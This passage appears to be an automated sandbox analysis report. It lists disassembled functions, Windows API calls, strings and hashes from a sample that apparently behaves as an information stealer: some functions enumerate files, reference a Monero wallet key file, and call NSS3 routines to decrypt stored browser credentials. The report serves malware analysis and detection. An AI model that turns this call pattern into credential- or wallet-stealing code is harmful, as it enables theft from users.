memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFDD8B
memset.VCRUNTIME140(?,000000FF,80808081), ref: 6CAFDE95
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFE360
memset.VCRUNTIME140(?,000000FF,80808082), ref: 6CAFE432
memcpy.VCRUNTIME140(?,?,?), ref: 6CAFE472

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset$memcpy
String ID:
API String ID: 368790112-0
Opcode ID: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction ID: 844bbd4065789f59072dea87fe8ae3be76f25ceb6622f53df13caa916981e16c
Opcode Fuzzy Hash: e95889e219d6373aecfb2eefd4d751dbbc7849228894b2438a546aaba38693f8
Instruction Fuzzy Hash: 8A338F71E0021ACFCB14CF98C8806EDBBF2FF49314F194269E965AB755D731A986CB90

Function 6CAAFD00 Relevance: 31.4, APIs: 17, Strings: 3, Instructions: 1360memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAAFF81
LeaveCriticalSection.KERNEL32(6CB1E7B8), ref: 6CAB022D
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004), ref: 6CAB0240
EnterCriticalSection.KERNEL32(6CB1E768), ref: 6CAB025B
LeaveCriticalSection.KERNEL32(6CB1E768), ref: 6CAB027B

Strings

MOZ_RELEASE_ASSERT(mNode), xrefs: 6CAAFE99, 6CAAFEB7, 6CAAFED3, 6CAB0DB8, 6CAB0DD3, 6CAB19B4
: (malloc) Error in VirtualFree(), xrefs: 6CAB0D67, 6CAB0D7B, 6CAB0DAC
<jemalloc>, xrefs: 6CAB0D62, 6CAB0D76, 6CAB0DA7

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave$AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>$MOZ_RELEASE_ASSERT(mNode)
API String ID: 618468079-3577267516
Opcode ID: 4d0ddd0e159410b7a1ea9b99742121898ae574441c587f8bb59971dcee0cf504
Instruction ID: 384804a570dc047b68e2edec401be15841aa2ba9a490ed4b2de16773a2595bd9
Opcode Fuzzy Hash: 4d0ddd0e159410b7a1ea9b99742121898ae574441c587f8bb59971dcee0cf504
Instruction Fuzzy Hash: 9FC2F2B1A057418FD714CF28C980716BBE5BF85328F28C66DE5A99BBD5C731E881CB81

Function 00884570 Relevance: 29.9, APIs: 15, Strings: 2, Instructions: 137stringmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,0098967F), ref: 00884580
RtlAllocateHeap.NTDLL(00000000), ref: 00884587
wsprintfA.USER32 ref: 008845A6
FindFirstFileA.KERNEL32(?,?), ref: 008845BD
StrCmpCA.SHLWAPI(?,00890FC4), ref: 008845EB
StrCmpCA.SHLWAPI(?,00890FC8), ref: 00884601
FindNextFileA.KERNEL32(000000FF,?), ref: 0088468B
FindClose.KERNEL32(000000FF), ref: 008846A0
lstrcat.KERNEL32(?,010FEBC8), ref: 008846C5
lstrcat.KERNEL32(?,010FD7D8), ref: 008846D8
lstrlen.KERNEL32(?), ref: 008846E5
lstrlen.KERNEL32(?), ref: 008846F6

Strings

%s\*, xrefs: 0088459A
%s\%s, xrefs: 0088461B

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Find$FileHeaplstrcatlstrlen$AllocateCloseFirstNextProcesswsprintf
String ID: %s\%s$%s\*
API String ID: 671575355-2848263008
Opcode ID: 85ea2d4e6153990915e22deb523c7ada837df2a2cf06a8bf4525b37d124f7bb1
Instruction ID: b9c4c8ae4616bb54d86d6bc7db62e771e08d9f046f068cf154053ca05be28b57
Opcode Fuzzy Hash: 85ea2d4e6153990915e22deb523c7ada837df2a2cf06a8bf4525b37d124f7bb1
Instruction Fuzzy Hash: D45144B2540218ABCB24FBB4DC89FE9777CFB64700F404688B609D2191EF749B858F92

Function 6CABED10 Relevance: 25.4, APIs: 16, Instructions: 5407COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00010030), ref: 6CABEE7A
memset.VCRUNTIME140(?,000000FF,80808082,?), ref: 6CABEFB5
memcpy.VCRUNTIME140(?,?,?,?), ref: 6CAC1695
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAC16B4
memset.VCRUNTIME140(00000002,000000FF,?,?), ref: 6CAC1770
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CAC1A3E

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: memset$freemallocmemcpy
String ID:
API String ID: 3693777188-0
Opcode ID: ca878fe3e1241f952ecc4ce22b3f02637a4f40dba982eacbf366325aa34b740b
Instruction ID: e41276225a485d890f65427914992667170056d89eac37847b96ef18bebf9501
Opcode Fuzzy Hash: ca878fe3e1241f952ecc4ce22b3f02637a4f40dba982eacbf366325aa34b740b
Instruction Fuzzy Hash: 79B33975E00219CFCB14CFA9C890AEDB7B2BF49304F1982A9D549BB745D730A986CF91

Function 0087ED20 Relevance: 17.9, APIs: 9, Strings: 1, Instructions: 369fileCOMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 0087ED3E
FindFirstFileA.KERNEL32(?,?), ref: 0087ED55
StrCmpCA.SHLWAPI(?,00891538), ref: 0087EDAB
StrCmpCA.SHLWAPI(?,0089153C), ref: 0087EDC1
FindNextFileA.KERNEL32(000000FF,?), ref: 0087F2AE
FindClose.KERNEL32(000000FF), ref: 0087F2C3

Strings

%s\*.*, xrefs: 0087ED32

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\*.*
API String ID: 180737720-1013718255
Opcode ID: 72e2fa8d2948be971a2da6b390545f157d33e587a1bb75577c4d5d6e3f081b56
Instruction ID: dd321644e495dd6ab137ed21b8a9d58d6e4b11b0081d53736884135c0d7dad6a
Opcode Fuzzy Hash: 72e2fa8d2948be971a2da6b390545f157d33e587a1bb75577c4d5d6e3f081b56
Instruction Fuzzy Hash: 69E1B1719111185AEB58FB64DD95AEE7338FF54300F4041EAB51AE20D2EE346B8ACF63

Function 6CABD4D0 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 251COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD4F2
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD50B

Part of subcall function 6CA9CFE0: EnterCriticalSection.KERNEL32(6CB1E784), ref: 6CA9CFF6
Part of subcall function 6CA9CFE0: LeaveCriticalSection.KERNEL32(6CB1E784), ref: 6CA9D026

InitializeCriticalSectionAndSpinCount.KERNEL32(0000000C,00001388,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD52E
EnterCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD690
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABD6A6
LeaveCriticalSection.KERNEL32(6CB1E7DC), ref: 6CABD712
LeaveCriticalSection.KERNEL32(6CB1E784,?,?,?,?,?,?,?,00000000,76232FE0,00000001,?,6CACD1C5), ref: 6CABD751
?RandomUint64@mozilla@@YA?AV?$Maybe@_K@1@XZ.MOZGLUE(?), ref: 6CABD7EA

Strings

: (malloc) Error initializing arena, xrefs: 6CABD82C
<jemalloc>, xrefs: 6CABD827

Memory Dump Source

Source File: 00000000.00000002.2390731613.000000006CA91000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CA90000, based on PE: true

Associated: 00000000.00000002.2390714127.000000006CA90000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390784894.000000006CB0D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390805501.000000006CB1E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2390823204.000000006CB22000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6ca90000_file.jbxd

Similarity

API ID: CriticalSection$Leave$Enter$K@1@Maybe@_RandomUint64@mozilla@@$CountInitializeSpin
String ID: : (malloc) Error initializing arena$<jemalloc>
API String ID: 2690322072-3894294050
Opcode ID: 16658d5805ed3dcba541c5494f4b86721a97d636f249b4f13acbc2a29893c7d5
Instruction ID: e04c1b893891a9c58059f1d02509d6f066f22de46734497d16b9ad1c236f032e
Opcode Fuzzy Hash: 16658d5805ed3dcba541c5494f4b86721a97d636f249b4f13acbc2a29893c7d5
Instruction Fuzzy Hash: 7991F671E047418FD714CF28C1A576AB7E5EB89318F18492EE45AD7F89D730E884CB82

Function 00C43E2A Relevance: 15.4, Strings: 11, Instructions: 1621COMMON

Download Yara Rule

Strings

uAw5, xrefs: 00C44E60
Od], xrefs: 00C450A2
En8, xrefs: 00C442F2
5+s, xrefs: 00C44DCB
8=, xrefs: 00C43EFD
|>M, xrefs: 00C43E50
hrUZ, xrefs: 00C44206
6G>7, xrefs: 00C4407D
ECM, xrefs: 00C43E5F
Qj}w, xrefs: 00C44010
1M, xrefs: 00C44FE9

Memory Dump Source

Source File: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 1M$5+s$6G>7$ECM$En8$Od]$Qj}w$hrUZ$uAw5$|>M$8=
API String ID: 0-3095366938
Opcode ID: 2b96c6dfb9356f89819e1a24d87dd1e8c54de78fba8b37cd44940a2faba42711
Instruction ID: 26632539b224823f79e14c74f0ecc04ce1ac7fac58c75d14e87b9fb8531114cc
Opcode Fuzzy Hash: 2b96c6dfb9356f89819e1a24d87dd1e8c54de78fba8b37cd44940a2faba42711
Instruction Fuzzy Hash: 84B2E6F360C2049FE304AE2DEC8567ABBE9EFD4360F16853DEAC4C7744EA3558058696

Function 0087DE10 Relevance: 14.4, APIs: 7, Strings: 1, Instructions: 370fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0088A740: lstrcpy.KERNEL32(00890E17,00000000), ref: 0088A788

Part of subcall function 0088A9B0: lstrlen.KERNEL32(?,010F89D8,?,\Monero\wallet.keys,00890E17), ref: 0088A9C5
Part of subcall function 0088A9B0: lstrcpy.KERNEL32(00000000), ref: 0088AA04
Part of subcall function 0088A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0088AA12

Part of subcall function 0088A8A0: lstrcpy.KERNEL32(?,00890E17), ref: 0088A905

FindFirstFileA.KERNEL32(00000000,?,00000000,?,\*.*,00890C2E), ref: 0087DE5E
StrCmpCA.SHLWAPI(?,008914C8), ref: 0087DEAE
StrCmpCA.SHLWAPI(?,008914CC), ref: 0087DEC4
FindNextFileA.KERNEL32(000000FF,?), ref: 0087E3E0
FindClose.KERNEL32(000000FF), ref: 0087E3F2

Strings

\*.*, xrefs: 0087DE26

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: Findlstrcpy$File$CloseFirstNextlstrcatlstrlen
String ID: \*.*
API String ID: 2325840235-1173974218
Opcode ID: 5d6fe631334ea8c78bab064d0f26f93c06b1d1b11703925d6230aa0ca1cd7889
Instruction ID: dfa998e5cf47fe92ad00926f7f0cbb6542f76d75826806a1437d03dbbf184ba2
Opcode Fuzzy Hash: 5d6fe631334ea8c78bab064d0f26f93c06b1d1b11703925d6230aa0ca1cd7889
Instruction Fuzzy Hash: 37F17F718141189AEB19FB64DD95AEE7338FF54300F5041EAA41AE20D1EF346B8ACF63

Function 0087C820 Relevance: 13.6, APIs: 9, Instructions: 95stringencryptionCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?,00000001,?,00000000,00000000,00000000), ref: 0087C871
CryptStringToBinaryA.CRYPT32(?,00000000), ref: 0087C87C
PK11_GetInternalKeySlot.NSS3 ref: 0087C88A
PK11_Authenticate.NSS3(00000000,00000001,00000000), ref: 0087C8A5
PK11SDR_Decrypt.NSS3(?,?,00000000), ref: 0087C8EB
lstrcat.KERNEL32(?,00890B46), ref: 0087C943
lstrcat.KERNEL32(?,00890B47), ref: 0087C957
PK11_FreeSlot.NSS3(?), ref: 0087C961
lstrcat.KERNEL32(?,00890B4E), ref: 0087C978

Memory Dump Source

Source File: 00000000.00000002.2368462294.0000000000871000.00000040.00000001.01000000.00000003.sdmp, Offset: 00870000, based on PE: true

Associated: 00000000.00000002.2368432704.0000000000870000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008CA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008F8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.00000000008FF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000902000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000921000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000092D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000952000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000095F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000097F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.000000000098E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000A3B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368462294.0000000000ABA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000ACE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000C56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D32000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D5E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2368873368.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369181542.0000000000D6D000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369291856.0000000000F07000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2369313566.0000000000F08000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_870000_file.jbxd

Yara matches

Similarity

API ID: K11_lstrcat$Slot$AuthenticateBinaryCryptDecryptFreeInternalStringlstrlen
String ID:
API String ID: 3356303513-0
Opcode ID: 0cb1fefd40f136396d85e150aa39a3a2511c42a75d71faeb78fc3dc15d0ba9dc
Instruction ID: f00e011f6ff97f9bc19d5a5496955d85ce93460339d7262b84c4dd923a7a74b5
Opcode Fuzzy Hash: 0cb1fefd40f136396d85e150aa39a3a2511c42a75d71faeb78fc3dc15d0ba9dc
Instruction Fuzzy Hash: 3A416275904209DFCB10DFE4DD89BEEB7B8FB48304F1045A8E509A7281D7749A85CF91

Function 6CAE2C10 Relevance: 12.5, APIs: 4, Strings: 3, Instructions: 228stringCOMMON

Download Yara Rule

APIs

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6CAE2C31
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6CAE2C61

Part of subcall function 6CA94DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6CA94E5A
Part of subcall function 6CA94DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6CA94E97

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6CAE2C82
